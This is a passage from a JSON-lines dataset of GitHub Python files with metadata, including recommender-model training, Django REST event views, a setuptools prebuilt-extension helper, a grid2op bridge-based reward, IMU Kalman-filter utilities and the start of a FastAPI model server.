{"api_name": "pydantic.BaseModel", "line_number": 41, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 44, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 44, "usage_type": "name"}]} +{"seq_id": "5648674699", "text": "import numpy as np\nimport torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader\n\nfrom args import get_args\nfrom models.AutoRec import AutoRec\nfrom models.MF import MF\nfrom utils.data_process import load_and_split, Dataset_ml, get_rating_matrix, Dataset_mat\n\n\ndef train_AutoRec(epoch,lr,weight_decay, latent_dim, num_users, device, dropout):\n model_autoRec = AutoRec(num_users, latent_dim, dropout).to(device)\n loss = nn.MSELoss()\n optim = torch.optim.Adam(model_autoRec.parameters(), lr=lr, weight_decay=weight_decay)\n for ep in range(epoch):\n loss_train = []\n loss_test = []\n for e in mat_dl:\n optim.zero_grad()\n e = e.to(dtype=torch.float, device=device)\n out = model_autoRec(e)\n loss_ = loss(e, out)\n loss_.backward()\n optim.step()\n loss_train.append(loss_.item())\n with torch.no_grad():\n for tst in test_mat_dl:\n tst = tst.to(dtype=torch.float, device=device)\n # print(f'tst={tst[0]}')\n test_out = model_autoRec(tst)\n # print(f'test_out={test_out}')\n test_loss = loss(test_out, tst)\n loss_test.append(test_loss.item())\n print(f'epoch {ep}: loss = {np.mean(loss_train)}, test_loss={np.mean(loss_test)}')\n\n\ndef train_MF(epoch, lr, weight_decay, num_users, num_items, latent_dim, device):\n model = MF(num_users, num_items, latent_dim).to(device)\n loss = nn.MSELoss()\n optim = torch.optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay)\n for e in range(epoch):\n for u, i, r, t in train_dl:\n u, i = u.to(device), i.to(device)\n r = r.to(device, dtype=torch.float)\n out = model(u, i)\n loss_ = loss(out, r)\n optim.zero_grad()\n loss_.backward()\n optim.step()\n with torch.no_grad():\n test_out = model(torch.tensor(test_data['user'].tolist(), device=device),\n torch.tensor(test_data['item'].tolist(), device=device))\n test_loss = loss(test_out, torch.tensor(test_data['rating'].tolist(), device=device, dtype=torch.float))\n print(f'epoch {e}: loss = {loss_}, test_loss={test_loss}')\n\n\n# init parameters\nargs = get_args()\ncsv_path = args.csv_path\ndevice = args.device\nepoch = args.epoch\nlatent_dim = args.latent_dim\nweight_decay = args.weight_decay\nbatch_size=args.batch_size\ndropout = args.dropout\nlr = args.lr\n# load data\ntrain_data, test_data, num_users, num_items = load_and_split(csv_path, implicit=False)\ntrain_ds = Dataset_ml(train_data)\ntrain_dl = DataLoader(train_ds, batch_size=batch_size, shuffle=True)\nr_mat = get_rating_matrix(train_data, num_users, num_items, implicit=False)\ntest_mat = get_rating_matrix(test_data, num_users, num_items, implicit=False)\n\nmat_ds = Dataset_mat(r_mat)\nmat_dl = DataLoader(mat_ds, batch_size=batch_size)\ntest_mat_ds = Dataset_mat(test_mat)\ntest_mat_dl = DataLoader(test_mat_ds, batch_size=batch_size)\n\n# train_MF(epoch, lr, weight_decay, num_users, num_items, latent_dim, device)\ntrain_AutoRec(epoch, lr, weight_decay, latent_dim, num_users, device, dropout)", "repo_name": "gmsft/rec", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3203, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "models.AutoRec.AutoRec", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.float", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 35, "usage_type": "call"}, {"api_name": "models.MF.MF", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 41, "usage_type": "attribute"}, {"api_name": "torch.float", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 54, "usage_type": "attribute"}, {"api_name": "args.get_args", "line_number": 59, "usage_type": "call"}, {"api_name": "args.csv_path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "args.device", "line_number": 61, "usage_type": "attribute"}, {"api_name": "args.epoch", "line_number": 62, "usage_type": "attribute"}, {"api_name": "args.latent_dim", "line_number": 63, "usage_type": "attribute"}, {"api_name": "args.weight_decay", "line_number": 64, "usage_type": "attribute"}, {"api_name": "args.batch_size", "line_number": 65, "usage_type": "attribute"}, {"api_name": "args.dropout", "line_number": 66, "usage_type": "attribute"}, {"api_name": "args.lr", "line_number": 67, "usage_type": "attribute"}, {"api_name": "utils.data_process.load_and_split", "line_number": 69, "usage_type": "call"}, {"api_name": "utils.data_process.Dataset_ml", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 71, "usage_type": "call"}, {"api_name": "utils.data_process.get_rating_matrix", "line_number": 72, "usage_type": "call"}, {"api_name": "utils.data_process.get_rating_matrix", "line_number": 73, "usage_type": "call"}, {"api_name": "utils.data_process.Dataset_mat", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 76, "usage_type": "call"}, {"api_name": "utils.data_process.Dataset_mat", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 78, "usage_type": "call"}]} +{"seq_id": "41552214802", "text": "from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.generics import ListAPIView\nfrom .models import Event\nfrom .serializer import EventSerializer\nfrom django.shortcuts import render\nfrom .forms import EventForm\nfrom . import forms\n# Create your views here.\n\n\n# View that allows events to be filtered by author, location and type of event\n\ndef bootstrapFilterView(request):\n queryset = Event.objects.all()\n authorq = request.GET.get('author')\n locationq = request.GET.get('location')\n categoryq = request.GET.get('category')\n\n preset_form = forms.EventForm()\n\n if authorq != '' and authorq is not None:\n queryset = queryset.filter(Author__icontains=authorq)\n\n if locationq != '' and locationq is not None:\n queryset = queryset.filter(Location=locationq)\n\n if valid_param(categoryq) and categoryq != 'Choose...':\n queryset = queryset.filter(EventType__icontains=categoryq)\n\n context = {\n 'queryset': queryset,\n 'preset_form': preset_form\n }\n return render(request, \"BootstrapFilter.html\", context)\n\n\n# Checks if an input parameter is valid\n\ndef valid_param(param):\n return param != '' and param is not None\n\n\n# Allows viewing all the events that have been posted or create new ones\n\nclass AllEventView(ListAPIView):\n\n queryset = Event.objects.all()\n serializer_class = EventSerializer\n\n def post(self, request):\n serializer = EventSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n# Allows editing an event based on its id\n\n\nclass EventDetailsView(APIView):\n\n def get(self, request, pk):\n try:\n event = Event.objects.get(pk=pk)\n serializer = EventSerializer(event)\n return Response(serializer.data)\n except:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n def delete(self, request, pk):\n event = Event.objects.get(pk=pk)\n event.delete()\n return Response(status=status.HTTP_200_OK)\n\n def put(self, request, pk):\n event = Event.objects.get(pk=pk)\n serializer = EventSerializer(event, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def patch(self, request, pk):\n event = Event.objects.get(pk=pk)\n serializer = EventSerializer(event, data=request.data, partial=True)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)", "repo_name": "renatocabral96/eventmanager", "sub_path": "DjangoRestAPI/DjangoAPI/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2911, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "models.Event.objects.all", "line_number": 16, "usage_type": "call"}, {"api_name": "models.Event.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 16, "usage_type": "name"}, {"api_name": "forms.EventForm", "line_number": 21, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 36, "usage_type": "call"}, {"api_name": "rest_framework.generics.ListAPIView", "line_number": 47, "usage_type": "name"}, {"api_name": "models.Event.objects.all", "line_number": 49, "usage_type": "call"}, {"api_name": "models.Event.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 49, "usage_type": "name"}, {"api_name": "serializer.EventSerializer", "line_number": 50, "usage_type": "name"}, {"api_name": "serializer.EventSerializer", "line_number": 53, "usage_type": "call"}, {"api_name": "serializer.is_valid", "line_number": 54, "usage_type": "call"}, {"api_name": "serializer.save", "line_number": 55, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 56, "usage_type": "call"}, {"api_name": "serializer.data", "line_number": 56, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 56, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 56, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 57, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 57, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 57, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 57, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 63, "usage_type": "name"}, {"api_name": "models.Event.objects.get", "line_number": 67, "usage_type": "call"}, {"api_name": "models.Event.objects", "line_number": 67, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 67, "usage_type": "name"}, {"api_name": "serializer.EventSerializer", "line_number": 68, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 69, "usage_type": "call"}, {"api_name": "serializer.data", "line_number": 69, "usage_type": "attribute"}, {"api_name": "rest_framework.response.Response", "line_number": 71, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 71, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 71, "usage_type": "name"}, {"api_name": "models.Event.objects.get", "line_number": 74, "usage_type": "call"}, {"api_name": "models.Event.objects", "line_number": 74, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 74, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 76, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 76, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 76, "usage_type": "name"}, {"api_name": "models.Event.objects.get", "line_number": 79, "usage_type": "call"}, {"api_name": "models.Event.objects", "line_number": 79, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 79, "usage_type": "name"}, {"api_name": "serializer.EventSerializer", "line_number": 80, "usage_type": "call"}, {"api_name": "serializer.is_valid", "line_number": 81, "usage_type": "call"}, {"api_name": "serializer.save", "line_number": 82, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 83, "usage_type": "call"}, {"api_name": "serializer.data", "line_number": 83, "usage_type": "attribute"}, {"api_name": "rest_framework.response.Response", "line_number": 84, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 84, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 84, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 84, "usage_type": "name"}, {"api_name": "models.Event.objects.get", "line_number": 87, "usage_type": "call"}, {"api_name": "models.Event.objects", "line_number": 87, "usage_type": "attribute"}, {"api_name": "models.Event", "line_number": 87, "usage_type": "name"}, {"api_name": "serializer.EventSerializer", "line_number": 88, "usage_type": "call"}, {"api_name": "serializer.is_valid", "line_number": 89, "usage_type": "call"}, {"api_name": "serializer.save", "line_number": 90, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 91, "usage_type": "call"}, {"api_name": "serializer.data", "line_number": 91, "usage_type": "attribute"}, {"api_name": "rest_framework.response.Response", "line_number": 92, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 92, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 92, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 92, "usage_type": "name"}]} +{"seq_id": "2206354241", "text": "import os\r\nimport pathlib\r\n\r\nfrom distutils.file_util import copy_file\r\nfrom setuptools.command import build_ext\r\nfrom setuptools import Extension\r\n\r\n\r\nclass PrebuiltExtension(Extension):\r\n def __init__(self, input_file, package=None):\r\n name = pathlib.Path(input_file).stem\r\n if package is not None:\r\n name = f'{package}.{name}'\r\n if not os.path.exists(input_file):\r\n raise ValueError(f'Prebuilt extension file not found\\n{input_file}')\r\n self.input_file = input_file\r\n super().__init__(name, ['no-source-needed.c'])\r\n\r\n\r\nclass prebuilt_binary(build_ext.build_ext):\r\n\r\n def run(self):\r\n for ext in self.extensions:\r\n fullname = self.get_ext_fullname(ext.name)\r\n filename = self.get_ext_filename(fullname)\r\n if not os.path.exists(self.build_lib):\r\n os.makedirs(self.build_lib)\r\n dest_filename = os.path.join(self.build_lib,\r\n os.path.basename(filename))\r\n\r\n copy_file(\r\n ext.input_file, dest_filename, verbose=self.verbose,\r\n dry_run=self.dry_run\r\n )\r\n if self.inplace:\r\n self.copy_extensions_to_source()\r\n", "repo_name": "tim-mitchell/prebuilt_binaries", "sub_path": "prebuilt_binaries.py", "file_name": "prebuilt_binaries.py", "file_ext": "py", "file_size_in_byte": 1245, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "setuptools.Extension", "line_number": 9, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "setuptools.command.build_ext.build_ext", "line_number": 20, "usage_type": "attribute"}, {"api_name": "setuptools.command.build_ext", "line_number": 20, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "distutils.file_util.copy_file", "line_number": 31, "usage_type": "call"}]} +{"seq_id": "32437047678", "text": "import numpy as np\nimport networkx as nx\n\nfrom grid2op.Reward.baseReward import BaseReward\nfrom grid2op.dtypes import dt_float\n\n\nclass BridgeReward(BaseReward):\n \"\"\"\n This reward computes a penalty based on how many bridges are present in the grid network.\n In graph theory, a bridge is an edge that if removed will cause the graph to be disconnected.\n\n Examples\n ---------\n You can use this reward in any environment with:\n\n .. code-block:: python\n\n import grid2op\n from grid2op.Reward import BridgeReward\n\n # then you create your environment with it:\n NAME_OF_THE_ENVIRONMENT = \"l2rpn_case14_sandbox\"\n env = grid2op.make(NAME_OF_THE_ENVIRONMENT,reward_class=BridgeReward)\n # and do a step with a \"do nothing\" action\n obs = env.reset()\n obs, reward, done, info = env.step(env.action_space())\n # the reward is computed with this class (computing the penalty based on the number of \"bridges\" in the grid)\n\n \"\"\"\n\n def __init__(self, min_pen_lte=0.0, max_pen_gte=1.0, logger=None):\n BaseReward.__init__(self, logger=logger)\n self.reward_min = dt_float(0.0)\n self.reward_max = dt_float(1.0)\n self.min_pen_lte = dt_float(min_pen_lte)\n self.max_pen_gte = dt_float(max_pen_gte)\n\n def __call__(self, action, env, has_error, is_done, is_illegal, is_ambiguous):\n if has_error or is_illegal or is_ambiguous:\n return self.reward_min\n\n n_bus = 2\n\n # Get info from env\n obs = env.current_obs\n n_sub = obs.n_sub\n n_line = obs.n_line\n topo = obs.topo_vect\n or_topo = obs.line_or_pos_topo_vect\n ex_topo = obs.line_ex_pos_topo_vect\n or_sub = obs.line_or_to_subid\n ex_sub = obs.line_ex_to_subid\n\n # Create a graph of vertices\n # Use one vertex per substation per bus\n G = nx.Graph()\n\n # Set lines edges for current bus\n for line_idx in range(n_line):\n # Skip if line is disconnected\n if obs.line_status[line_idx] is False:\n continue\n # Get substation index for current line\n lor_sub = or_sub[line_idx]\n lex_sub = ex_sub[line_idx]\n # Get the buses for current line\n lor_bus = topo[or_topo[line_idx]]\n lex_bus = topo[ex_topo[line_idx]]\n\n if lor_bus <= 0 or lex_bus <= 0:\n continue\n\n # Compute edge vertices indices for current graph\n left_v = lor_sub + (lor_bus - 1) * n_sub\n right_v = lex_sub + (lex_bus - 1) * n_sub\n\n # Register edge in graph\n G.add_edge(left_v, right_v)\n\n # Find the bridges\n n_bridges = dt_float(len(list(nx.bridges(G))))\n\n # Clip to min penalty\n n_bridges = max(n_bridges, self.min_pen_lte)\n # Clip to max penalty\n n_bridges = min(n_bridges, self.max_pen_gte)\n r = np.interp(\n n_bridges,\n [self.min_pen_lte, self.max_pen_gte],\n [self.reward_max, self.reward_min],\n )\n return dt_float(r)\n", "repo_name": "rte-france/Grid2Op", "sub_path": "grid2op/Reward/bridgeReward.py", "file_name": "bridgeReward.py", "file_ext": "py", "file_size_in_byte": 3119, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 240, "dataset": "github-code", "pt": "16", "api": [{"api_name": "grid2op.Reward.baseReward.BaseReward", "line_number": 8, "usage_type": "name"}, {"api_name": "grid2op.Reward.baseReward.BaseReward.__init__", "line_number": 33, "usage_type": "call"}, {"api_name": "grid2op.Reward.baseReward.BaseReward", "line_number": 33, "usage_type": "name"}, {"api_name": "grid2op.dtypes.dt_float", "line_number": 34, "usage_type": "call"}, {"api_name": "grid2op.dtypes.dt_float", "line_number": 35, "usage_type": "call"}, {"api_name": "grid2op.dtypes.dt_float", "line_number": 36, "usage_type": "call"}, {"api_name": "grid2op.dtypes.dt_float", "line_number": 37, "usage_type": "call"}, {"api_name": "networkx.Graph", "line_number": 57, "usage_type": "call"}, {"api_name": "grid2op.dtypes.dt_float", "line_number": 82, "usage_type": "call"}, {"api_name": "networkx.bridges", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 88, "usage_type": "call"}, {"api_name": "grid2op.dtypes.dt_float", "line_number": 93, "usage_type": "call"}]} +{"seq_id": "26211470480", "text": "import numpy as np\n\nfrom scipy.spatial.transform import Rotation as R\nimport matplotlib.pyplot as plt\n\n\ndef eulerAnglesToRotationMatrix(theta) :\n \"\"\"\n R_x = np.array([[1, 0, 0 ],\n [0, math.cos(theta[0]), -math.sin(theta[0]) ],\n [0, math.sin(theta[0]), math.cos(theta[0]) ]\n ])\n \n R_y = np.array([[math.cos(theta[1]), 0, math.sin(theta[1]) ],\n [0, 1, 0 ],\n [-math.sin(theta[1]), 0, math.cos(theta[1]) ]\n ])\n \n R_z = np.array([[math.cos(theta[2]), -math.sin(theta[2]), 0],\n [math.sin(theta[2]), math.cos(theta[2]), 0],\n [0, 0, 1]\n ])\n \n \n R = R_z @ R_y @ R_x\n \"\"\"\n return R.from_euler('xyz', theta).as_matrix()\n\n\n# Lissage des signaux\ndef movingaverage(values, window):\n weights = np.repeat(1.0, window)/window\n sma = np.zeros(values.shape)\n sma[:window-1] = values[:window-1]\n sma[window-1:] = np.convolve(values, weights, 'valid')\n return sma\n \n\ndef quaternion_to_matrix(q):\n return R.from_quat(q).as_matrix()\n\n\ndef quaternion_to_euler(q):\n return R.from_quat(q).as_euler(seq='xyz')\n\n\ndef update_orientation_quaternion(prev_q, angular_rate, dt):\n q1 = R.from_quat(prev_q)\n q2 = R.from_euler(seq='xyz', angles=angular_rate*dt)\n q_updated = q1 * q2\n\n return q_updated.as_quat()\n\n\ndef nominal_state_predict(prev_state, input_data, dt, g):\n # Receive information\n p, v, q = prev_state[:3], prev_state[3:6], prev_state[6:10]\n a_m, omega_m = input_data[0:3], input_data[3:6]\n\n # Prediction\n p_predict = p + v * dt + 0.5 * (quaternion_to_matrix(q) @ a_m + g) * dt**2\n v_predict = v + (quaternion_to_matrix(q) @ a_m + g) * dt\n q_predict = update_orientation_quaternion(q, omega_m, dt)\n\n return np.concatenate([p_predict, v_predict, q_predict])\n\n\ndef skew(omega):\n assert omega.shape == (3,)\n return np.array([[ 0, -omega[2], omega[1] ],\n [ omega[2], 0, -omega[0] ],\n [ -omega[1], omega[0], 0 ]])\n\ndef error_state_predict(prev_delta_x, prev_P_delta_x, x, input_data, dt, V_i, Theta_i):\n # Receive information\n p, v, q = x[:3], x[3:6], x[6:10]\n a_m, omega_m = input_data[0:3], input_data[3:6]\n\n # Fx, Fi, Qi matrices - equation 270, page 61, https://arxiv.org/pdf/1711.02508.pdf\n Fx = np.identity(9)\n R_matrix = quaternion_to_matrix(q)\n Fx[:3, 3:6] = np.eye(3) * dt\n Fx[3:6, 6:9] = -skew(R_matrix @ a_m) * dt\n\n Fi = np.zeros((9, 6))\n Fi[3:6,0:3] = R_matrix * dt\n Fi[6:9,3:6] = -R_matrix * dt\n\n Qi = np.zeros((6, 6))\n Qi[:3, :3] = V_i\n Qi[3:6, 3:6] = Theta_i\n\n delta_x_predict = Fx @ prev_delta_x\n P_delta_x_predict = Fx @ prev_P_delta_x @ Fx.T + Fi @ Qi @ Fi.T\n\n return delta_x_predict, P_delta_x_predict\n\n\ndef zero_velocity_update(x, P_delta_x, V, velo):\n # Receive information\n p, v, q, a_b, omega_b, g = x[:3], x[3:6], x[6:10], x[10:13], x[13:16], x[16:19]\n\n # Section 6.1, https://arxiv.org/pdf/1711.02508.pdf\n\n Q_delta_theta = 0.5 * np.array([[ -q[0], -q[1], -q[2] ],\n [ q[3], q[2], -q[1] ],\n [ -q[2], q[3], q[0] ],\n [ q[1], -q[0], q[3] ]])\n \n X_delta_x = np.zeros((10, 9))\n X_delta_x[:6, :6] = np.eye(6)\n X_delta_x[6:10, 6:9] = Q_delta_theta\n\n H_x = np.zeros((3, 10))\n H_x[:3, 3:6] = np.eye(3)\n\n\n H = H_x @ X_delta_x\n H = np.zeros((3,9))\n H[:, 3:6] = np.identity(3)\n\n K = P_delta_x @ H.T @ np.linalg.inv((H @ P_delta_x @ H.T + V))\n delta_x_update = K @ (np.array([*velo]) - H_x @ x)\n\n P_delta_x_update = (np.eye(9) - K @ H) @ P_delta_x @ (np.eye(9) - K @ H).T + K @ V @ K.T\n\n return delta_x_update, P_delta_x_update\n\n\ndef injection_obs_err_to_nominal_state(x, delta_x):\n # Receive information\n p, v, q = x[:3], x[3:6], x[6:10]\n delta_p, delta_v, delta_theta = delta_x[:3], delta_x[3:6], delta_x[6:9]\n\n # Section 6.2, https://arxiv.org/pdf/1711.02508.pdf\n p_update = p + delta_p\n v_update = v + delta_v\n # q_update = update_orientation_quaternion(q, delta_theta, 1)\n R_matrix = quaternion_to_matrix(q)\n omega = np.array([[0,-delta_x[8], delta_x[7]],[delta_x[8],0,-delta_x[6]],[-delta_x[7],delta_x[6],0]])\n R_matrix = (np.identity(3) + omega) @ R_matrix\n q_update = R.from_matrix(R_matrix).as_quat()\n\n return np.concatenate([p_update, v_update, q_update])\n\n\n\ndef ESKF_reset(delta_x, P_delta_x):\n # Receive information\n delta_theta = delta_x[6:9]\n\n # Section 6.3, https://arxiv.org/pdf/1711.02508.pdf\n delta_x_update = np.zeros((9,))\n \n G = np.identity(9)\n G[6:9, 6:9] = np.eye(3) + skew(0.5 * delta_theta)\n \n P_delta_x_update = G @ P_delta_x @ G.T\n\n return delta_x_update, P_delta_x_update\n\n\ndef SHOE(imudata, g, W=5, G=4.1e8, sigma_a=0.00098**2, sigma_w=(8.7266463e-5)**2):\n T = np.zeros(np.int(np.floor(imudata.shape[0]/W)+1))\n zupt = np.zeros(imudata.shape[0])\n a = np.zeros((1,3))\n w = np.zeros((1,3))\n inv_a = 1/sigma_a\n inv_w = 1/sigma_w\n acc = imudata[:,0:3]\n gyro = imudata[:,3:6]\n\n i=0\n for k in range(0,imudata.shape[0]-W+1,W): #filter through all imu readings\n smean_a = np.mean(acc[k:k+W,:],axis=0)\n for s in range(k,k+W):\n a.put([0,1,2],acc[s,:])\n w.put([0,1,2],gyro[s,:])\n T[i] += inv_a*( (a - g * smean_a/np.linalg.norm(smean_a)).dot(( a - g * smean_a/np.linalg.norm(smean_a)).T)) #acc terms\n T[i] += inv_w*( (w).dot(w.T) )\n zupt[k:k+W].fill(T[i])\n i+=1\n zupt = zupt/W\n # plt.figure()\n # plt.plot(zupt)\n return zupt < G", "repo_name": "stagelisa/EKF_trajectory_3_states", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 6031, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "scipy.spatial.transform.Rotation.from_euler", "line_number": 27, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 27, "usage_type": "name"}, {"api_name": "numpy.repeat", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.convolve", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation.from_quat", "line_number": 40, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 40, "usage_type": "name"}, {"api_name": "scipy.spatial.transform.Rotation.from_quat", "line_number": 44, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 44, "usage_type": "name"}, {"api_name": "scipy.spatial.transform.Rotation.from_quat", "line_number": 48, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 48, "usage_type": "name"}, {"api_name": "scipy.spatial.transform.Rotation.from_euler", "line_number": 49, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 141, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation.from_matrix", "line_number": 142, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 142, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 179, "usage_type": "attribute"}]} +{"seq_id": "74815512968", "text": "from fastapi import FastAPI, File, UploadFile\nfrom grounded_sam_wrapper import Grounded_Sam_wrapper\nimport os\nfrom fastapi.responses import JSONResponse\nimport numpy as np \nimport time\n\n\napp = FastAPI()\n\n# Load the ML model when the server starts\n\ncwd = os.path.dirname(os.path.abspath(__file__))\nparent_directory = os.path.dirname(cwd)\n\ngrounded_sam_wrapper = Grounded_Sam_wrapper(\n config = os.path.join(parent_directory,\"GroundingDINO/groundingdino/config/GroundingDINO_SwinT_OGC.py\"),\n grounded_checkpoint = os.path.join(parent_directory,\"groundingdino_swint_ogc.pth\"), \n sam_checkpoint = os.path.join(parent_directory,\"sam_vit_h_4b8939.pth\"), \n sam_hq_checkpoint = None, \n use_sam_hq = None, \n output_dir = \"../outputs\", \n 